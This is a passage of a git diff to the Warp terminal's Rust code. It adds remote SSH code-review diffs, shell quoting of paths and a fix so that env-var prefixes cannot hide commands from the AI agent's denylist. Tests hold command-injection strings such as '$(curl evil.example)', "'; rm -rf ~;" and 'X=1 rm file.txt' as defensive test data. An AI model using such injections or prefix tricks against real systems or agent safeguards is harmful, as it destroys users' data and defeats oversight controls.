diff --git a/app/i18n/en/warp.ftl b/app/i18n/en/warp.ftl index 29cafbbbc6e..ffc74566abf 100644 --- a/app/i18n/en/warp.ftl +++ b/app/i18n/en/warp.ftl @@ -3622,7 +3622,7 @@ code-review-pr-created-toast = PR successfully created. code-review-comments-sent-to-agent = Comments sent to agent code-review-could-not-submit-comments = Could not submit comments to the agent code-review-tooltip-view-changes = View changes -code-review-diffs-local-workspaces-only = Diffs only work for local workspaces. +code-review-diffs-local-workspaces-only = Diffs only work for local workspaces and Warpified SSH sessions. code-review-diffs-git-repositories-only = Diffs only work for git repositories. code-review-diffs-wsl-unsupported = Diffs don't currently work in WSL. code-review-generating-commit-message-placeholder = Generating commit message… diff --git a/app/src/ai/blocklist/action_model/execute.rs b/app/src/ai/blocklist/action_model/execute.rs index d555e73d423..1daf642deff 100644 --- a/app/src/ai/blocklist/action_model/execute.rs +++ b/app/src/ai/blocklist/action_model/execute.rs @@ -76,7 +76,9 @@ use crate::{ ambient_agents::AmbientAgentTaskId, }, terminal::{ - model::session::{active_session::ActiveSession, ExecuteCommandOptions, Session}, + model::session::{ + active_session::ActiveSession, shell_quote_arg, ExecuteCommandOptions, Session, + }, model_events::ModelEventDispatcher, shell::ShellType, ShellLaunchData, TerminalModel, @@ -1072,14 +1074,26 @@ async fn read_binary_file_context( }) } +fn build_is_file_path_command(path: &str, shell_type: ShellType) -> String { + let escaped_path = shell_quote_arg(path, shell_type); + if shell_type == ShellType::PowerShell { + format!("if (Test-Path -PathType Leaf {escaped_path}) {{ exit 0 }} else {{ exit 1 }}") + } else { + format!("test -f {escaped_path}") + } +} + +fn build_is_git_repository_command(absolute_path: &str, shell_type: ShellType) -> String { + format!( + "git -C {} rev-parse", + shell_quote_arg(absolute_path, shell_type) + ) +} + /// Returns true if the given path is a regular file on the session's filesystem. /// Runs a shell command on the session so it works for both local and remote sessions. async fn is_file_path(path: &str, session: &Session) -> bool { - let command = if session.shell().shell_type() == ShellType::PowerShell { - format!("if (Test-Path -PathType Leaf \"{path}\") {{ exit 0 }} else {{ exit 1 }}") - } else { - format!("test -f \"{path}\"") - }; + let command = build_is_file_path_command(path, session.shell().shell_type()); session .execute_command(&command, None, None, ExecuteCommandOptions::default()) .await @@ -1089,7 +1103,7 @@ async fn is_file_path(path: &str, session: &Session) -> bool { /// Returns true if git is installed and the given path is in a git repository. async fn is_git_repository(absolute_path: &str, session: &Session) -> anyhow::Result { - let git_command = format!("git -C \"{absolute_path}\" rev-parse"); + let git_command = build_is_git_repository_command(absolute_path, session.shell().shell_type()); let command_output = session .execute_command( git_command.as_str(), diff --git a/app/src/ai/blocklist/action_model/execute_tests.rs b/app/src/ai/blocklist/action_model/execute_tests.rs index 4a006204848..2d70890c86d 100644 --- a/app/src/ai/blocklist/action_model/execute_tests.rs +++ b/app/src/ai/blocklist/action_model/execute_tests.rs @@ -97,3 +97,100 @@ mod binary_detection { assert!(block_on(is_file_content_binary_async(&missing))); } } + +mod path_shell_quoting { + use super::super::{build_is_file_path_command, build_is_git_repository_command}; + use crate::terminal::shell::ShellType; + + #[test] + fn is_file_path_quotes_posix_path_as_single_argument() { + let command = build_is_file_path_command("/tmp/repo path/file.rs", ShellType::Bash); + + assert_eq!(command, "test -f '/tmp/repo path/file.rs'"); + } + + #[test] + fn is_file_path_neutralizes_posix_substitutions() { + let command = + build_is_file_path_command("/tmp/x$(touch /tmp/warp-poc)`id`", ShellType::Bash); + + assert_eq!(command, "test -f '/tmp/x$(touch /tmp/warp-poc)`id`'"); + } + + #[test] + fn is_file_path_neutralizes_embedded_quote_posix() { + let command = build_is_file_path_command("/tmp/foo'; rm -rf ~; echo '", ShellType::Bash); + + assert_eq!(command, r#"test -f '/tmp/foo'"'"'; rm -rf ~; echo '"'"''"#); + } + + #[test] + fn is_file_path_quotes_powershell_path_as_single_argument() { + let command = + build_is_file_path_command(r#"C:\Users\me\file path.rs"#, ShellType::PowerShell); + + assert_eq!( + command, + r#"if (Test-Path -PathType Leaf 'C:\Users\me\file path.rs') { exit 0 } else { exit 1 }"# + ); + } + + #[test] + fn is_file_path_neutralizes_powershell_substitutions() { + let command = build_is_file_path_command( + r#"C:\tmp\x$(New-Item C:\poc)$env:USERPROFILE"#, + ShellType::PowerShell, + ); + + assert_eq!( + command, + r#"if (Test-Path -PathType Leaf 'C:\tmp\x$(New-Item C:\poc)$env:USERPROFILE') { exit 0 } else { exit 1 }"# + ); + } + + #[test] + fn is_file_path_neutralizes_fish_embedded_quote() { + let command = build_is_file_path_command("/tmp/owner's file", ShellType::Fish); + + assert_eq!(command, r"test -f '/tmp/owner\'s file'"); + } + + #[test] + fn is_git_repository_quotes_posix_path_as_single_argument() { + let command = build_is_git_repository_command("/tmp/repo path", ShellType::Zsh); + + assert_eq!(command, "git -C '/tmp/repo path' rev-parse"); + } + + #[test] + fn is_git_repository_neutralizes_posix_substitutions() { + let command = + build_is_git_repository_command("/tmp/x$(curl evil.example)`id`", ShellType::Bash); + + assert_eq!(command, "git -C '/tmp/x$(curl evil.example)`id`' rev-parse"); + } + + #[test] + fn is_git_repository_neutralizes_embedded_quote_posix() { + let command = + build_is_git_repository_command("/tmp/foo'; rm -rf ~; echo '", ShellType::Bash); + + assert_eq!( + command, + r#"git -C '/tmp/foo'"'"'; rm -rf ~; echo '"'"'' rev-parse"# + ); + } + + #[test] + fn is_git_repository_neutralizes_powershell_substitutions() { + let command = build_is_git_repository_command( + r#"C:\repo$(New-Item C:\poc)$env:USERPROFILE"#, + ShellType::PowerShell, + ); + + assert_eq!( + command, + r#"git -C 'C:\repo$(New-Item C:\poc)$env:USERPROFILE' rev-parse"# + ); + } +} diff --git a/app/src/ai/blocklist/agent_view/agent_input_footer/mod.rs b/app/src/ai/blocklist/agent_view/agent_input_footer/mod.rs index 5489350a9cb..7135b33e657 100644 --- a/app/src/ai/blocklist/agent_view/agent_input_footer/mod.rs +++ b/app/src/ai/blocklist/agent_view/agent_input_footer/mod.rs @@ -19,7 +19,7 @@ use crate::{ completer::SessionContext, context_chips::{ self, - display_chip::{DisplayChip, DisplayChipConfig}, + display_chip::{DisplayChip, DisplayChipConfig, PromptChipShellCommand}, prompt_type::PromptType, ContextChipKind, }, @@ -2242,7 +2242,7 @@ pub enum AgentInputFooterEvent { ToggledChipMenu { open: bool, }, - TryExecuteChipCommand(String), + TryExecuteChipCommand(PromptChipShellCommand), ModelSelectorOpened, ModelSelectorClosed, ToggleInlineModelSelector { diff --git a/app/src/ai/blocklist/permissions.rs b/app/src/ai/blocklist/permissions.rs index fe13ef0b51c..02415567d2b 100644 --- a/app/src/ai/blocklist/permissions.rs +++ b/app/src/ai/blocklist/permissions.rs @@ -23,7 +23,7 @@ use crate::ai::mcp::TemplatableMCPServerManager; use anyhow::Result; use serde::{Deserialize, Serialize}; -use warp_completer::parsers::simple::decompose_command; +use warp_completer::parsers::simple::{command_without_leading_env_vars, decompose_command}; use warp_core::user_preferences::GetUserPreferences; use warp_core::{features::FeatureFlag, settings::Setting}; use warp_util::path::EscapeChar; @@ -853,10 +853,17 @@ impl BlocklistAIPermissions { // The command string might be composed of multiple commands so let's // break it up first. let (commands, contains_redirection) = decompose_command(&normalized_command, escape_char); + // Strip leading env-var assignments (e.g. `X=1 rm file.txt`) before denylist + // matching so a blocked command can't be hidden behind an env-var prefix. This + // is applied to the denylist check ONLY — never to allowlist matching below. + let commands_for_denylist = commands + .iter() + .map(|command| command_for_execution_predicates(command, escape_char)) + .collect::>(); // The denylist takes precedence over all other conditions. let denylist = self.get_execute_commands_denylist(ctx, terminal_view_id); - if commands + if commands_for_denylist .iter() .any(|c| denylist.iter().any(|d| d.matches(c))) { @@ -1165,6 +1172,12 @@ impl BlocklistAIPermissions { } } +fn command_for_execution_predicates(command: &str, escape_char: EscapeChar) -> String { + command_without_leading_env_vars(command, escape_char) + .filter(|command| !command.is_empty()) + .unwrap_or_else(|| command.to_string()) +} + /// Returns `Some(Denied(ProtectedPath))` if any of the given paths are system-protected /// and must never be auto-written regardless of user autonomy settings. /// Returns `None` if no paths are protected. diff --git a/app/src/ai/blocklist/permissions_test.rs b/app/src/ai/blocklist/permissions_test.rs index c03614cba5d..b2e73ccb807 100644 --- a/app/src/ai/blocklist/permissions_test.rs +++ b/app/src/ai/blocklist/permissions_test.rs @@ -672,6 +672,74 @@ fn test_can_autoexecute_command_denylist_precedence() { }) } +#[test] +fn test_can_autoexecute_command_denylist_matches_env_prefixed_commands() { + App::test((), |mut app| async move { + let PermissionsTestState { + convo_id, + permissions, + profile_model, + terminal_view_id, + .. + } = initialize_permissions_test(&mut app); + + profile_model.update(&mut app, |model, ctx| { + let profile_id = *model.active_profile(Some(terminal_view_id), ctx).id(); + model.set_execute_commands(profile_id, &ActionPermission::AlwaysAllow, ctx); + model.add_to_command_denylist( + profile_id, + &AgentModeCommandExecutionPredicate::new_regex("rm .*").unwrap(), + ctx, + ); + }); + + for command in [ + "X=1 rm file.txt", + "echo ok && X=1 rm file.txt", + "echo $(X=1 rm file.txt)", + ] { + permissions.read(&app, |model, ctx| { + let result = model.can_autoexecute_command( + &convo_id, + command, + EscapeChar::Backslash, + false, + None, + Some(terminal_view_id), + ctx, + ); + assert!( + matches!( + result, + CommandExecutionPermission::Denied( + CommandExecutionPermissionDeniedReason::ExplicitlyDenylisted + ) + ), + "{command:?} should be denied by the rm denylist, got {result:?}" + ); + }); + } + + permissions.read(&app, |model, ctx| { + let result = model.can_autoexecute_command( + &convo_id, + "X=1 git status", + EscapeChar::Backslash, + false, + None, + Some(terminal_view_id), + ctx, + ); + assert!(matches!( + result, + CommandExecutionPermission::Allowed( + CommandExecutionPermissionAllowedReason::AlwaysAllowed + ) + )); + }); + }) +} + #[test] fn test_can_autoexecute_command_allowlist_precedence() { App::test((), |mut app| async move { diff --git a/app/src/app_services/windows/service_impl.rs b/app/src/app_services/windows/service_impl.rs index 446e69d96b0..298b9f2033f 100644 --- a/app/src/app_services/windows/service_impl.rs +++ b/app/src/app_services/windows/service_impl.rs @@ -32,7 +32,6 @@ impl ipc::ServiceImpl for UriServiceImpl { type Service = UriService; async fn handle_request(&self, request: Vec) -> () { - log::info!("Uri Service received request: {request:?}"); if let Err(send_error) = self.tx.send(request).await { log::error!("Error sending urls to local stream: {send_error:#}"); } diff --git a/app/src/code/view.rs b/app/src/code/view.rs index a1a3c25bd5c..91869783242 100644 --- a/app/src/code/view.rs +++ b/app/src/code/view.rs @@ -420,24 +420,45 @@ impl CodeView { NotebooksEditorModel::new(styles, window_id, ctx) }); let rendered_view = ctx.add_typed_action_view(|ctx| { - let mut view = RichTextEditorView::new( + RichTextEditorView::new( view_position_id, editor_model, links, RichTextEditorConfig::default(), ctx, - ); - view.set_interaction_state(InteractionState::Selectable, ctx); - view + ) }); + // 先在**空 buffer** 上切到只读 Selectable 状态,内容写入推迟到**下一个** + // 事件循环周期。顺序与分周期都不能变,原因如下: + // + // Editable→Selectable 会翻转 Mermaid 渲染开关(仅当 MarkdownMermaid 特性 + // 开启时),其**延迟**的 InteractionStateModelEvent 处理器会调用 + // `rebuild_layout`。若在同一周期内 `reset_with_markdown` 已同步填充 buffer, + // 这次 relayout 便对**整篇已填充文档**发起一次布局失效,与内容插入这两条整篇 + // 布局动作在同一 FIFO 布局通道里竞争;当失效先于插入到达时,会走 + // "insert before first block" 分支把先前的窄树当作 suffix 保留 → 文档在真实 + // 内容之后被重复渲染一份、每行仅一个字符宽(首帧 viewport 宽度为 0)。 + // + // 先在空 buffer 上切状态,使这次 relayout 成为**空失效**(不可能产生窄树); + // 再把内容写入推迟到下一个周期,内容便作为唯一一条布局动作干净地插入空树, + // 与通道处理时序无关。这与本地文件路径行为一致:那里内容在异步文件加载后的 + // 较晚周期才到达,故天然避开此问题。 rendered_view.update(ctx, |editor, ctx| { - editor.reset_with_markdown(&content, ctx); + editor.set_interaction_state(InteractionState::Selectable, ctx); }); if let Some(tab) = self.tab_group.get_mut(index) { - tab.rendered_markdown_view = Some(rendered_view); + tab.rendered_markdown_view = Some(rendered_view.clone()); } ctx.notify(); + + // 推迟内容写入到下一个事件循环周期(见上),让空 buffer 上的状态变更 + // relayout 先完整跑完。 + ctx.spawn(futures::future::ready(()), move |_view, (), ctx| { + rendered_view.update(ctx, |editor, ctx| { + editor.reset_with_markdown(&content, ctx); + }); + }); } /// Restore a code view from a persisted multi-tab snapshot. diff --git a/app/src/code_review/code_review_view.rs b/app/src/code_review/code_review_view.rs index 186e9598bab..de035cd7413 100644 --- a/app/src/code_review/code_review_view.rs +++ b/app/src/code_review/code_review_view.rs @@ -776,6 +776,23 @@ impl CodeReviewView { &self.diff_state_model } + /// The git-execution target for the active repository — a remote SSH + /// session when one is active, otherwise the local working copy. Sourced + /// from the diff-state model so standalone git queries (branch list, merge + /// base) transparently use the right transport. + fn git_exec_target(&self, ctx: &AppContext) -> Option { + #[cfg(feature = "local_fs")] + { + self.diff_state_model + .read(ctx, |model, ctx| model.exec_target(ctx)) + } + #[cfg(not(feature = "local_fs"))] + { + let _ = ctx; + None + } + } + pub fn update_current_repo(&mut self, repo_path: Option, ctx: &mut ViewContext) { safe_info!( safe: ("Code Review: update_current_repo called. Branches cleared."), @@ -1355,19 +1372,24 @@ impl CodeReviewView { } fn fetch_branches_and_setup_dropdown(&mut self, ctx: &mut ViewContext) { - let Some(repo_path) = self.repo_path().cloned() else { + let Some(target) = self.git_exec_target(ctx) else { return; }; - let fetched_repo_path = repo_path.clone(); + let fetched_identity = target.identity_path(); ctx.spawn( async move { - DiffStateModel::get_all_branches(&repo_path, None, false /* include_remotes */) - .await + DiffStateModel::get_all_branches(&target, None, false /* include_remotes */).await }, move |me, branches_result, ctx| { // If the active repo changed while branches were being fetched, - // discard the stale result. - if me.repo_path() != Some(&fetched_repo_path) { + // discard the stale result. Compared by repository identity so + // this works for both local and remote targets. + if me + .diff_state_model + .read(ctx, |model, ctx| model.active_repository_path(ctx)) + .as_ref() + != Some(&fetched_identity) + { return; } match branches_result { @@ -2649,10 +2671,9 @@ impl CodeReviewView { fn recompute_merge_base_and_flush(&mut self, ctx: &mut ViewContext) { let diff_mode = self.diff_state_model.as_ref(ctx).diff_mode(); if !matches!(diff_mode, DiffMode::Head) { - if let Some(repo) = self.active_repo.as_ref() { - let repo_path = repo.repo_path.clone(); + if let Some(target) = self.git_exec_target(ctx) { let handle = ctx.spawn( - async move { DiffStateModel::compute_merge_base(&repo_path, &diff_mode).await }, + async move { DiffStateModel::compute_merge_base(&target, &diff_mode).await }, |me, result, ctx| { if let Some(repo) = me.active_repo.as_mut() { repo.file_invalidation.merge_base_handle = None; @@ -2942,17 +2963,26 @@ impl CodeReviewView { fn session_env(&self, app: &AppContext) -> Option { let terminal_view = self.terminal_view.as_ref()?.upgrade(app)?; terminal_view.read(app, |terminal, ctx| { - let session = terminal - .active_block_session_id() - .and_then(|id| terminal.sessions_model().as_ref(ctx).get(id)); + let session_id = terminal.active_block_session_id(); + let session = + session_id.and_then(|id| terminal.sessions_model().as_ref(ctx).get(id)); let is_local = terminal.active_session_is_local(ctx); let is_remote = matches!(is_local, Some(false)); let is_wsl = session.as_ref().map(|s| s.is_wsl()).unwrap_or(false); + // A warpified SSH session has a connected remote server client, so + // git can run remotely and the panel should render diffs rather than + // the "local workspaces only" message. Plain tmux / subshell SSH has + // no client and keeps the unsupported message. + let has_remote_server = is_remote + && session_id.is_some_and(|sid| { + crate::remote_server::manager::RemoteServerManager::as_ref(ctx) + .client_for_session(sid) + .is_some() + }); + let enablement = if is_remote { - CodingPanelEnablementState::RemoteSession { - has_remote_server: false, - } + CodingPanelEnablementState::RemoteSession { has_remote_server } } else if is_wsl { CodingPanelEnablementState::UnsupportedSession } else { @@ -2979,10 +3009,15 @@ impl CodeReviewView { appearance: &Appearance, ) -> Box { match self.session_env(app) { + // Only non-warpified SSH (no remote server) keeps the unsupported + // message; warpified remotes fall through to the normal no-repo + // state (they render diffs once a repo is resolved). Some(state) if matches!( state.enablement, - CodingPanelEnablementState::RemoteSession { .. } + CodingPanelEnablementState::RemoteSession { + has_remote_server: false + } ) => { self.render_remote_state_with_buttons(appearance) diff --git a/app/src/code_review/diff_state.rs b/app/src/code_review/diff_state.rs index c6295d3fa55..802afa23995 100644 --- a/app/src/code_review/diff_state.rs +++ b/app/src/code_review/diff_state.rs @@ -30,9 +30,12 @@ use crate::features::FeatureFlag; #[cfg(feature = "local_fs")] use crate::util::git::get_pr_for_branch; use crate::util::git::{ - detect_current_branch, detect_main_branch, get_unpushed_commits, run_git_command, Commit, - PrInfo, + detect_current_branch, detect_main_branch, get_unpushed_commits, Commit, GitExecTarget, PrInfo, }; +#[cfg(feature = "local_fs")] +use crate::remote_server::client::RemoteServerClient; +#[cfg(feature = "local_fs")] +use warp_core::SessionId; use super::diff_size_limits::compute_diff_size; @@ -366,6 +369,12 @@ pub struct DiffStateModel { repository: Option>, #[cfg(feature = "local_fs")] subscriber_id: Option, + /// Set when the active repository is a remote (SSH) workspace. Mutually + /// exclusive with `repository`: remote repos have no local working copy or + /// filesystem watcher, so diff/metadata refreshes are driven by the view + /// rather than `RepositorySubscriber` invalidations. + #[cfg(feature = "local_fs")] + remote_target: Option, state: InternalDiffState, mode: DiffMode, metadata: Option, @@ -410,6 +419,8 @@ impl DiffStateModel { let model = Self { #[cfg(feature = "local_fs")] repository: None, + #[cfg(feature = "local_fs")] + remote_target: None, state: InternalDiffState::default(), #[cfg(feature = "local_fs")] subscriber_id: None, @@ -641,6 +652,9 @@ impl DiffStateModel { #[cfg(feature = "local_fs")] pub fn active_repository_path(&self, app: &AppContext) -> Option { + if let Some(target) = &self.remote_target { + return Some(target.identity_path()); + } self.repository .as_ref()? .as_ref(app) @@ -653,10 +667,37 @@ impl DiffStateModel { None } + /// The git-execution target for the active repository — a remote session if + /// one is set, otherwise the local working copy. Returns `None` when no + /// repository is active. Used both internally and by view callers that run + /// standalone git queries (branch list, merge base) so they transparently + /// hit the right transport. + #[cfg(feature = "local_fs")] + pub fn exec_target(&self, app: &AppContext) -> Option { + if let Some(target) = &self.remote_target { + return Some(target.clone()); + } + let path = self.repository.as_ref()?.as_ref(app).root_dir().to_local_path_lossy(); + Some(GitExecTarget::local(path)) + } + pub fn is_inside_repository(&self) -> bool { cfg_if::cfg_if! { if #[cfg(feature = "local_fs")] { - self.repository.is_some() + self.repository.is_some() || self.remote_target.is_some() + } else { + false + } + } + } + + /// Whether this model's diffs are sourced from a warpified-remote (SSH) + /// repository rather than a local working copy. Used by the panel to admit + /// remote repos past gates built from local repo detection. + pub fn is_remote(&self) -> bool { + cfg_if::cfg_if! { + if #[cfg(feature = "local_fs")] { + self.remote_target.is_some() } else { false } @@ -696,19 +737,13 @@ impl DiffStateModel { handle.abort(); } - let Some(current_repository) = &self.repository else { + let Some(target) = self.exec_target(ctx) else { return; }; - let current_repository_path = current_repository - .as_ref(ctx) - .root_dir() - .to_local_path_lossy(); let mode = self.mode.clone(); self.state = InternalDiffState::Loading; self.computing_diffs_abort_handle = Some(ctx.spawn( - async move { - Self::load_diffs_for_repo(current_repository_path, mode, should_fetch_base).await - }, + async move { Self::load_diffs_for_repo(target, mode, should_fetch_base).await }, Self::handle_updated_state_for_repo, )); } @@ -724,7 +759,7 @@ impl DiffStateModel { /// Stashes uncommitted changes for specific files #[cfg(feature = "local_fs")] - async fn stash_uncommitted_changes(repo_path: &Path, relative_paths: &[String]) -> Result<()> { + async fn stash_uncommitted_changes(repo_path: &GitExecTarget, relative_paths: &[String]) -> Result<()> { let app_id = ChannelState::app_id(); let app_name = app_id.application_name(); let msg = if relative_paths.len() == 1 { @@ -742,7 +777,7 @@ impl DiffStateModel { "[GIT OPERATION] diff_state.rs stash_uncommitted_changes git {}", stash_args.join(" ") ); - let stash_res = run_git_command(repo_path, &stash_args).await; + let stash_res = repo_path.run_git(&stash_args).await; match stash_res { Ok(_) => Ok(()), @@ -770,7 +805,7 @@ impl DiffStateModel { /// Runs git restore and git clean for one or more files #[cfg(feature = "local_fs")] async fn git_restore_and_clean( - repo_path: &Path, + repo_path: &GitExecTarget, relative_paths: &[String], branch: &str, ) -> Result<()> { @@ -790,7 +825,7 @@ impl DiffStateModel { "[GIT OPERATION] diff_state.rs git_restore_and_clean git {}", restore_args.join(" ") ); - let restore_res = run_git_command(repo_path, &restore_args).await; + let restore_res = repo_path.run_git(&restore_args).await; match restore_res { Ok(_) => { @@ -803,7 +838,7 @@ impl DiffStateModel { "[GIT OPERATION] diff_state.rs git_restore_and_clean git {}", clean_args.join(" ") ); - let clean_res = run_git_command(repo_path, &clean_args).await; + let clean_res = repo_path.run_git(&clean_args).await; match clean_res { Ok(_) => Ok(()), @@ -824,7 +859,7 @@ impl DiffStateModel { "[GIT OPERATION] diff_state.rs git_restore_and_clean git {}", clean_args.join(" ") ); - let clean_res = run_git_command(repo_path, &clean_args).await; + let clean_res = repo_path.run_git(&clean_args).await; if let Err(err) = clean_res { log::warn!("Failed to clean untracked files: {err}"); } @@ -836,7 +871,7 @@ impl DiffStateModel { "[GIT OPERATION] diff_state.rs git_restore_and_clean git rm -f -- {file_path}" ); let rm_res = - run_git_command(repo_path, &["rm", "-f", "--", file_path.as_str()]) + repo_path.run_git(&["rm", "-f", "--", file_path.as_str()]) .await; if let Err(rm_err) = rm_res { @@ -848,7 +883,7 @@ impl DiffStateModel { "[GIT OPERATION] diff_state.rs git_restore_and_clean git reset -- {file_path}" ); if let Err(e) = - run_git_command(repo_path, &["reset", "--", file_path.as_str()]) + repo_path.run_git(&["reset", "--", file_path.as_str()]) .await { log::warn!("Failed to unstage file '{file_path}': {e}"); @@ -858,11 +893,16 @@ impl DiffStateModel { } } - if let Err(e) = fs::remove_file(repo_path.join(file_path)) { - if e.kind() != std::io::ErrorKind::NotFound { - log::warn!( - "Failed to remove file '{file_path}' from filesystem: {e}" - ); + // Local-only filesystem cleanup. On a remote target the + // `git rm` above already removed the file on the host; + // there is no local working copy to delete. + if let Some(local_root) = repo_path.local_repo_path() { + if let Err(e) = fs::remove_file(local_root.join(file_path)) { + if e.kind() != std::io::ErrorKind::NotFound { + log::warn!( + "Failed to remove file '{file_path}' from filesystem: {e}" + ); + } } } } @@ -877,7 +917,7 @@ impl DiffStateModel { /// Removes files based on the operation type #[cfg(feature = "local_fs")] async fn discard_files_impl( - repo_path: &Path, + repo_path: &GitExecTarget, file_infos: Vec, should_stash: bool, branch: &str, @@ -898,7 +938,7 @@ impl DiffStateModel { if branch == "HEAD" && should_stash { let renamed_paths: Vec = renamed_file_infos .iter() - .map(|info| match info.path.strip_prefix(repo_path) { + .map(|info| match info.path.strip_prefix(repo_path.identity_path()) { Ok(rel_path) => rel_path.to_string_lossy().to_string(), Err(_) => info.path.to_string_lossy().to_string(), }) @@ -910,9 +950,7 @@ impl DiffStateModel { log::debug!( "[GIT OPERATION] diff_state.rs discard_files_impl git restore --staged --worktree -- {old_path}" ); - let _ = run_git_command( - repo_path, - &["restore", "--staged", "--worktree", "--", old_path], + let _ = repo_path.run_git(&["restore", "--staged", "--worktree", "--", old_path], ) .await; } @@ -920,7 +958,7 @@ impl DiffStateModel { } else { for info in renamed_file_infos { if let GitFileStatus::Renamed { old_path } = &info.status { - let relative_new_path = match info.path.strip_prefix(repo_path) { + let relative_new_path = match info.path.strip_prefix(repo_path.identity_path()) { Ok(rel) => rel.to_string_lossy().to_string(), Err(_) => info.path.to_string_lossy().to_string(), }; @@ -930,7 +968,7 @@ impl DiffStateModel { "[GIT OPERATION] diff_state.rs discard_files_impl git rm -f -- {relative_new_path}" ); if let Err(e) = - run_git_command(repo_path, &["rm", "-f", "--", &relative_new_path]) + repo_path.run_git(&["rm", "-f", "--", &relative_new_path]) .await { log::warn!("Failed to remove renamed file '{relative_new_path}': {e}"); @@ -943,7 +981,7 @@ impl DiffStateModel { "[GIT OPERATION] diff_state.rs discard_files_impl git checkout {branch} -- {old_path}" ); if let Err(e) = - run_git_command(repo_path, &["checkout", branch, "--", old_path]).await + repo_path.run_git(&["checkout", branch, "--", old_path]).await { log::error!( "Failed to restore old file '{old_path}' from branch '{branch}': {e}" @@ -958,7 +996,7 @@ impl DiffStateModel { if !other_file_infos.is_empty() { let relative_paths: Vec = other_file_infos .iter() - .map(|info| match info.path.strip_prefix(repo_path) { + .map(|info| match info.path.strip_prefix(repo_path.identity_path()) { Ok(rel_path) => rel_path.to_string_lossy().to_string(), Err(_) => info.path.to_string_lossy().to_string(), }) @@ -982,25 +1020,13 @@ impl DiffStateModel { branch_name: Option, ctx: &mut ModelContext, ) { - let Some(current_repository) = &self.repository else { + let Some(target) = self.exec_target(ctx) else { return; }; - let current_repository_path = current_repository - .as_ref(ctx) - .root_dir() - .to_local_path_lossy(); let branch = branch_name.unwrap_or_else(|| "HEAD".to_string()); ctx.spawn( - async move { - Self::discard_files_impl( - ¤t_repository_path, - file_infos, - should_stash, - &branch, - ) - .await - }, + async move { Self::discard_files_impl(&target, file_infos, should_stash, &branch).await }, |me, result, ctx| match result { Ok(_) => { me.load_diffs_for_current_repo(false, ctx); @@ -1052,13 +1078,9 @@ impl DiffStateModel { if !self.metadata_refresh_enabled { return; } - let Some(current_repository) = &self.repository else { + let Some(target) = self.exec_target(ctx) else { return; }; - let current_repository_path = current_repository - .as_ref(ctx) - .root_dir() - .to_local_path_lossy(); if let Some(handle) = self.computing_metadata_abort_handle.take() { handle.abort(); } @@ -1066,9 +1088,7 @@ impl DiffStateModel { // Always include base branch metadata since only code review uses this model now. let include_base_branch = true; let abort_handle = ctx.spawn( - async move { - Self::load_metadata_for_repo(current_repository_path, include_base_branch).await - }, + async move { Self::load_metadata_for_repo(target, include_base_branch).await }, move |me, res, ctx| { me.handle_updated_metadata_for_repo(res, invalidation_behavior, ctx) }, @@ -1085,6 +1105,65 @@ impl DiffStateModel { // Noop on WASM builds. } + /// Activates a remote (SSH) repository as the diff source. Tears down any + /// local repository watcher and routes all subsequent git operations + /// through the remote session. Unlike [`Self::set_active_repository`] there + /// is no filesystem watcher, so the view must drive refreshes explicitly. + #[cfg(feature = "local_fs")] + pub fn set_remote_repository( + &mut self, + client: Arc, + session_id: SessionId, + repo_path: String, + ctx: &mut ModelContext, + ) { + // No-op if we're already tracking the same remote repo on the same + // session — avoids redundant reloads on repeated metadata ticks. + if matches!( + &self.remote_target, + Some(GitExecTarget::Remote { session_id: sid, repo_path: rp, .. }) + if *sid == session_id && rp == &repo_path + ) { + return; + } + + // Tear down any local watcher subscription before switching transports. + if let Some(old_repository) = self.repository.take() { + if let Some(subscriber_id) = self.subscriber_id.take() { + old_repository.update(ctx, |old_repository, ctx| { + old_repository.stop_watching(subscriber_id, ctx); + }); + } + ctx.unsubscribe_from_model(&old_repository); + } + + let target = GitExecTarget::Remote { + client, + session_id, + repo_path, + }; + self.remote_target = Some(target.clone()); + ctx.emit(DiffStateModelEvent::RepositoryChanged); + + if let Some(handle) = self.computing_metadata_abort_handle.take() { + handle.abort(); + } + + let include_base_branch = true; + let abort_handle = ctx.spawn( + async move { Self::load_metadata_for_repo(target, include_base_branch).await }, + move |me, res, ctx| { + me.handle_updated_metadata_for_repo( + res, + InvalidationBehavior::All(InvalidationSource::MetadataChange), + ctx, + ) + }, + ); + self.computing_metadata_abort_handle = Some(abort_handle); + self.state = InternalDiffState::Loading; + } + #[cfg(feature = "local_fs")] pub fn set_active_repository( &mut self, @@ -1103,8 +1182,11 @@ impl DiffStateModel { }) } } + // Switching to a local repository: drop any active remote target. + self.remote_target = None; let new_repository_root = new_repository.as_ref(ctx).root_dir().to_local_path_lossy(); + let target = GitExecTarget::local(new_repository_root); ctx.emit(DiffStateModelEvent::RepositoryChanged); if let Some(handle) = self.computing_metadata_abort_handle.take() { @@ -1116,7 +1198,7 @@ impl DiffStateModel { let abort_handle = ctx.spawn( async move { - Self::load_metadata_for_repo(new_repository_root, include_base_branch).await + Self::load_metadata_for_repo(target, include_base_branch).await }, move |me, res, ctx| { me.handle_updated_metadata_for_repo( @@ -1288,19 +1370,23 @@ impl DiffStateModel { #[cfg(feature = "local_fs")] pub fn remove_active_repo(&mut self, ctx: &mut ModelContext) { - let Some(repository) = &self.repository else { + let had_local = self.repository.is_some(); + let had_remote = self.remote_target.take().is_some(); + if !had_local && !had_remote { return; - }; + } // Unsubscribe from the repository watcher before releasing the handle. - if let Some(subscriber_id) = self.subscriber_id.take() { - repository.update(ctx, |repo, ctx| { - repo.stop_watching(subscriber_id, ctx); - }); + if let Some(repository) = &self.repository { + if let Some(subscriber_id) = self.subscriber_id.take() { + repository.update(ctx, |repo, ctx| { + repo.stop_watching(subscriber_id, ctx); + }); + } + let repository = self.repository.take().unwrap(); + ctx.unsubscribe_from_model(&repository); } - let repository = self.repository.take().unwrap(); - ctx.unsubscribe_from_model(&repository); self.state = InternalDiffState::NotInRepository; ctx.emit(DiffStateModelEvent::RepositoryChanged); ctx.emit(DiffStateModelEvent::DiffMetadataChanged( @@ -1309,9 +1395,9 @@ impl DiffStateModel { } /// Gets the merge base between HEAD and the specified branch - async fn get_merge_base(repo_path: &Path, branch: &str) -> Result { + async fn get_merge_base(repo_path: &GitExecTarget, branch: &str) -> Result { log::debug!("[GIT OPERATION] diff_state.rs get_merge_base git merge-base HEAD {branch}"); - let output = run_git_command(repo_path, &["merge-base", "HEAD", branch]).await?; + let output = repo_path.run_git(&["merge-base", "HEAD", branch]).await?; Ok(output.trim().to_string()) } @@ -1320,7 +1406,7 @@ impl DiffStateModel { /// For [`DiffMode::MainBranch`] the main branch is detected automatically; /// for [`DiffMode::OtherBranch`] the provided branch name is used directly. /// [`DiffMode::Head`] does not have a merge base and returns an error. - pub(crate) async fn compute_merge_base(repo_path: &Path, mode: &DiffMode) -> Result { + pub(crate) 